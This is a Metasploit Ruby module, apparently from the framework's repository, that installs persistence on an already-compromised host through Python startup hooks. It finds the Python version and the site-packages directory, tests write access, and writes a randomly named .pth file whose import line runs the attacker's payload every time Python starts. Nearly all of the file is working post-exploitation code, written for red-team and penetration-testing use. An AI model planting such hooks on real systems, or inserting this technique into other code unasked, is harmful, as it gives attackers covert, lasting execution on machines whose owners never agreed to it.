h00die
125 lines
4.9 KiB
Ruby
125 lines
4.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
|
|
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Local::Persistence
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Python Site-Specific Hook Persistence',
|
|
'Description' => %q{
|
|
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'msutovsky-r7', # msf module
|
|
],
|
|
'Platform' => ['linux', 'windows', 'osx'],
|
|
'Arch' => [ ARCH_CMD ],
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'References' => [
|
|
[ 'URL', 'https://docs.python.org/3/library/site.html'],
|
|
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
|
|
['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
|
|
],
|
|
'DisclosureDate' => '2012-09-29',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
|
|
OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
|
|
])
|
|
end
|
|
|
|
def get_hooks_path
|
|
unless datastore['PYTHON_HOOK_PATH'].blank?
|
|
@hooks_path = datastore['PYTHON_HOOK_PATH']
|
|
return
|
|
end
|
|
case session.platform
|
|
when 'windows', 'win'
|
|
|
|
case datastore['EXECUTION_TARGET']
|
|
when 'USER'
|
|
@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
|
|
when 'SYSTEM'
|
|
@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
|
|
end
|
|
when 'osx', 'linux'
|
|
|
|
case datastore['EXECUTION_TARGET']
|
|
when 'USER'
|
|
@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
|
|
when 'SYSTEM'
|
|
@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
|
|
end
|
|
end
|
|
end
|
|
|
|
def get_python_version
|
|
case session.platform
|
|
when 'windows', 'win'
|
|
cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
|
|
when 'osx', 'linux'
|
|
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
|
|
end
|
|
|
|
@python_version = Regexp.last_match(1)
|
|
end
|
|
|
|
def check
|
|
get_python_version
|
|
|
|
return CheckCode::Safe('Python not present on the system') unless @python_version
|
|
|
|
CheckCode::Vulnerable('Python is present on the system')
|
|
end
|
|
|
|
def install_persistence
|
|
get_python_version unless @python_version
|
|
print_status("Detected Python version #{@python_version}")
|
|
get_hooks_path unless @hooks_path
|
|
|
|
mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux'
|
|
|
|
fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
|
|
# check if hooks path writable
|
|
begin
|
|
# windows only ps payloads have writable? so try that first
|
|
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)
|
|
rescue RuntimeError
|
|
filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
|
|
write_file(filename, '')
|
|
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)
|
|
rm_f(filename)
|
|
end
|
|
|
|
print_status("Got path to site-specific hooks #{@hooks_path}")
|
|
|
|
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
|
|
|
|
fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
|
|
|
|
print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")
|
|
@clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"
|
|
end
|
|
end
|